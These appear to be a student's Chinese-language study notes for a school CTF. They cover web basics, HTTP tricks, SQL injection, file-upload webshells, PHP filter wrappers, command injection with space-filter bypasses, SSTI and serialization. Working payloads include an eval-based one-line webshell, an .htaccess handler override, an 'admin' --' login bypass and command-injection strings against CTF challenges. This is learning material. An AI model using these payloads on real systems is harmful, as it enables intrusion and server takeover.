webnote
为了校赛CTF,学习一下web
一、基础知识+黑话解释
基础知识:
前端和后端通过协议来进行交流,而后端连接着数据库
后端就是部署在服务器上面的一个程序
什么是数据库?存放数据的地方
什么是协议?规定好的通讯交流方式
URL 统一资源定位符,唯一定位网站的标识符
MAC地址 介质访问控制符 Media Access Control,可以理解为硬件的地址
路由器可以将某个端口映射到内网的端口
- 域名
域名是用于标识互联网上计算机或服务的字符型名称,例如
example.com
。它通过DNS(域名系统)解析为IP地址,使用户无需记忆复杂的数字地址即可访问网站。域名的核心作用是提供品牌识别和易于记忆的访问入口。 - URL
URL是完整的资源定位符,包含访问资源所需的所有信息,例如协议类型(如HTTP/HTTPS)、域名、端口号、路径及查询参数。例如:
https://www.example.com/path/page.html?id=123
。URL的目的是精确指向互联网上的某个具体资源,如网页、图片或API接口。
域名是URL的子集
DNS服务器可以把域名解析成IP

在向DNS发起请求之前,会先从本地HOST发起请求,如果有缓存,就直接用了
电脑的流量通过网卡,经过网关向外输出
虚拟机怎么联网呢?可以与物理机用同一个网卡,这就是桥接
还有一种方法就是,虚拟机的虚拟网关经过映射到真实网关,这就是NAT
什么是Shell/Webshell
shell就是控制操作计算机的一个命令行界面
而Webshell就是通过网页形式操作控制计算机的一个命令行网页界面
正向/反向shell
正向是黑客链接受害者,反向是受害者链接黑客
Cookie/Session:Cookie数据存放在客户端,Session保存在服务端,存放用户名、密码、身份认证等信息
黑话
0Day:最新产生的漏洞
攻击、入侵、渗透:获取目标的信息,获取目标的shell
DDOS:拒绝服务攻击
肉鸡:已经攻占的计算机
代码审计:看代码找BUG
靶机:搭建好漏洞测试环境的计算机,用于学习
CMS:内容管理系统,俗称后台
后渗透:攻击完成,建立持久访问

DDOS攻击就是,黑客利用肉鸡不断向服务器发送数据,到达承受极限,导致服务器拒绝服务
DOM(Document Object Model,文档对象模型)
DOM是一个跨平台、与语言无关的API,通过树形结构表示文档中的元素、属性和文本。每个节点对应文档的一部分(如标签、文本、注释),形成层级关系。例如,<html>
是根节点,包含<head>
和<body>
子节点,进一步向下延伸。
其实就是HTML的架构
二、前端漏洞
HTML几乎没有漏洞
CSS漏洞(键盘监控)
JavaScript漏洞就多了,SQL注入,XSS
三、Http协议
一、请求
HTTP协议请求方法包括
GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS等等
提示用CTFHUB请求方法,抓包改成
就拿到FLAG了
二、302跳转
就是说访问一个网址的时候,服务器重定向暂时跳转到其他地方
301是永久跳转
所以会进行两次跳转
点击give me flag之后抓包就行了
三、cookie
修改cookie admin=1就行了
四、基础认证
这一个典型的HTTP客户端和HTTP服务器的对话,服务器安装在同一台计算机上(localhost),包含以下步骤:
客户端请求一个需要身份认证的页面,但是没有提供用户名和密码。这通常是用户在地址栏输入一个URL,或是打开了一个指向该页面的链接。
服务端响应一个401应答码[4],并提供一个认证域(英语:Access Authentication)[5],头部字段为:
WWW-Authenticate
,该字段为要求客户端提供适配的资源。[6]WWW-Authenticate: Basic realm="Secure Area"
该例子,Basic
为验证的模式,realm="Secure Area"
为保护域,用于与其他请求URI作区别。接到应答后,客户端显示该认证域给用户并提示输入用户名和密码。此时用户可以选择确定或取消。
用户输入了用户名和密码后,客户端软件将对其进行处理,并在原先的请求上增加认证消息头(英语:
Authorization
)然后重新发送再次尝试。过程如下:
- 将用户名和密码拼接为
用户:密码
形式的字符串。 - 如果服务器
WWW-Authenticate
字段有指定编码,则将字符串编译成对应的编码(如:UTF-8)。 - 将字符串编码为base64。
- 拼接
Basic
,放入Authorization
头字段,就像这样:Authorization Basic 字符串
。 示例:用户名:Aladdin
,密码:OpenSesame
,拼接后为Aladdin:OpenSesame
,编码后QWxhZGRpbjpPcGVuU2VzYW1l
,在HTTP头部里会是这样:Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l
。 Base64编码并非加密算法,其无法保证安全与隐私,仅用于将用户名和密码中的不兼容的字符转换为均与HTTP协议兼容的字符集。
- 将用户名和密码拼接为
在本例中,服务器接受了该认证屏幕并返回了页面。如果用户凭据非法或无效,服务器可能再次返回401应答码,客户端可以再次提示用户输入密码。
注意:客户端有可能不需要用户交互,在第一次请求中就发送认证消息头。
四、SQL注入
一、万能密码(#,--,1=1绕过)
结构化查询语言(Structured Query Langugage) SQL
由于数据库有很多,为了统一查询
SQL就是在数据库中进行查询的语言
什么是SQL注入呢,就是用户提交的数据可以被数据库解析
就是在输入中混杂SQL的相关语法,导致执行
先介绍一下使用xampp搭建靶场
在xampp的shell里面进入数据库
1 | mysql -u root -p |
创建数据库和表
1 | CREATE DATABASE sql_injection_demo; |
如何连接数据库呢?
1 | // 连接数据库 |
然后写一个简单的登录
1 |
|
注意到这里的sql语句
1 | $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; |
变量用单引号闭合,那么,我们就可以这样构造
1 | ?username=admin' -- &password=anything |
因为前面已经符合admin,闭合之后,加入--注释语句,把后面密码注释掉了,所以直接通过
这里用#也是可以的
这是比较简单的万能密码
二、联合注入
前面那个主要对付的是登录的情况,并不能查找信息
如果要查找信息,就需要用到联合查询Union select
三、文件上传漏洞
上传一个一句话木马文件
1 | eval($_POST['cmd']); @ |
这样后端如果没有经过检查,就会直接执行这个代码
只要上传成功,就可以用antsword拿到shell
然后访问各种文件
绕开各种检查可以用Burpsuite抓包,然后修改文件后缀名绕过
【Content-Type: application/x-www-form-urlencoded】
POST请求记得加上这个
[极客大挑战 2019]Upload
过滤了<,可以使用js绕过
1 | GIF89a? |
然后前面要加上GIF89a?文件头,这个还检测了文件头
[MRCTF2020]你传你🐎呢
文件上传漏洞,过滤了php,我们可以传jpg文件,但是jpg文件需要被解析成php文件才能拿到shell
所以,还需要用到 .htacces文件,
它里面存放着Apache服务器配置相关的指令。 .htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。 .htaccess的用途范围主要针对当前目录。
1 | SetHandler application/x-httpd-php |
这里需要抓包改Content-type
传png的之后是这样,那我们也改成png
五、php伪协议
[SWPUCTF 2021 新生赛]include
打开发现传个file试试,用get穿个参数,得到源码
1 |
|
提示flag在flag.php中
其中
1 | ini_set("allow_url_include","on"); |
表示可以远程传输文件,这就可以变成文件上传漏洞,服务器会执行文件
这里需要用到php伪协议
PHP 伪协议(PHP Wrapper Protocols)是 PHP 提供的一种特殊 URL
格式,允许以流的方式访问各种资源。这些协议在文件操作函数(如
fopen()
、file_get_contents()
、include
等)中非常有用,但也可能带来安全风险。
可以使用php伪协议返回flag的base64编码,然后直接解码就行了
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
本质上是利用include会解析php协议
php://filter
可以叠加过滤
Q1:为什么不能直接访问file=flag.php
因为flag本身就是一个字符串,incLude_once会直接执行这个php文件
但是这个php文件可能没有echo输出,所以访问什么都得不到
当我们用伪协议过滤时,就不会执行php文件,而是直接返回编码
六、RCE漏洞
也就是远程执行
[SWPUCTF 2021 新生赛]easyrce
1 |
|
system() system() 是 PHP 中⽤于执⾏外部程序并显⽰输出的⼀个函数。这个函数接受⼀个字符串 参数,该参数是要执⾏的命令,然后在 Web 服务器上执⾏这个命令。
这意味着我们可以用eval执行任何命令
比如用system('ls /');列出根目录下所有文件
注意分号
然后再用cat就能拿到flag了
[SWPUCTF 2021 新生赛]babyrce(cookie注入)
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。
通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站
Cookie注入其实就是在Cookie中进行sql注入
1 | error_reporting(0); header("Content-Type:text/html;charset=utf-8"); highlight_file(__FILE__); if($_COOKIE['admin']==1) { include "../next.php"; } else echo "小饼干最好吃啦!"; |
打开得到这个
修改Cookie的方法
使用hackbar修改Cookie即可
或者直接在内存里修改
然后就找到另一个php文件,打开
得到真正的源码
1 |
|
这里用preg_match做了一个过滤
preg_match 函数用于执行一个正则表达式匹配。
1 | int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) |
搜索 subject 与 pattern 给定的正则表达式的一个匹配。
所以这里就是正则匹配$ip是否包含空格,如果包含,就直接结束
所以我们不能用cat /flag了,这就含有空格
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
1. 命令注入漏洞
- 代码直接将用户输入的
url
参数传递给shell_exec()
- 虽然过滤了空格,但攻击者可以使用多种方式绕过:
- 使用制表符
%09
代替空格 - 使用
${IFS}
(Internal Field Separator) 代替空格 - 使用重定向符号
<
或>
不需要空格
- 使用制表符
2. 漏洞利用示例
1 | ?url=ls%09/ # 列出目录 (使用制表符代替空格) |
空格的绕过
1 | <,<>,%20,%09,$IFS,${IFS},$IFS$9,{cat,1.txt} |
[ACTF2020 新生赛]Exec
命令执行漏洞 2、;直接分号分隔 管道符:作用和&一样。前面和后面命令都要执行,无论前面真假 3、| 按位或 作用是直接执行|后面的语句 4、|| 逻辑或 作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 5、& 按位与 &前面和后面命令都要执行,无论前面真假 6、&& 逻辑与 如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行 可以用这些符号来执行后面的指令
由于能ping,所以尝试后面加上指令
[GXYCTF2019]Ping Ping Ping
命令注入
和上一题差不多,但是很多都被过滤了
这里发现最底下有个a,可以用这个a来替换
1 | /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php |
七、信息泄露
一、目录遍历
没话说
二、phpinfo
直接搜flag
八、SSTI
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
我们可以用这样的类继承代码来获取
1 | {}.__class__.__base__.__subclasses__() |
{}
- 这是一个空字典对象.__class__
- 获取该字典对象的类(即dict
类).__base__
- 获取dict
类的父类(通常是object
类,因为所有类最终都继承自object
).__subclasses__()
- 获取该父类的所有直接子类列表
九、反序列化
1. 什么是序列化?
序列化(Serialization)就是把程序里的数据(对象)变成一串可以保存或传输的内容,比如一段字符串或二进制数据。 反过来,把这串内容再变回原来的数据,就叫反序列化(Deserialization)。
2. 为什么需要序列化?
想象一下,你写了一个程序,它里面有一个变量:
1 | person = {"name": "Alice", "age": 18} |
- 如果你想 保存到文件,以后再打开还能恢复这个字典,那就需要先“变成文本/二进制”——这就是序列化。
- 如果你想 通过网络传给别人,也不能直接把 Python 的对象发过去,必须先序列化成标准的格式(比如 JSON)。
3. 常见的序列化方式
JSON:最常见的格式,可读性强,跨语言(Python、Java、JavaScript 都能用)。
1
2
3
4import json
data = {"name": "Alice", "age": 18}
s = json.dumps(data) # 序列化 -> '{"name": "Alice", "age": 18}'
d = json.loads(s) # 反序列化 -> {'name': 'Alice', 'age': 18}Pickle(Python 专用):能保存更复杂的对象,但只在 Python 里能用。
XML / YAML:也可以序列化,不过现在用得少一些。
4. 打个比喻
- 序列化就像把一本书里的内容压缩成一卷纸,可以寄出去。
- 反序列化就是把那卷纸重新展开,还原成一本完整的书。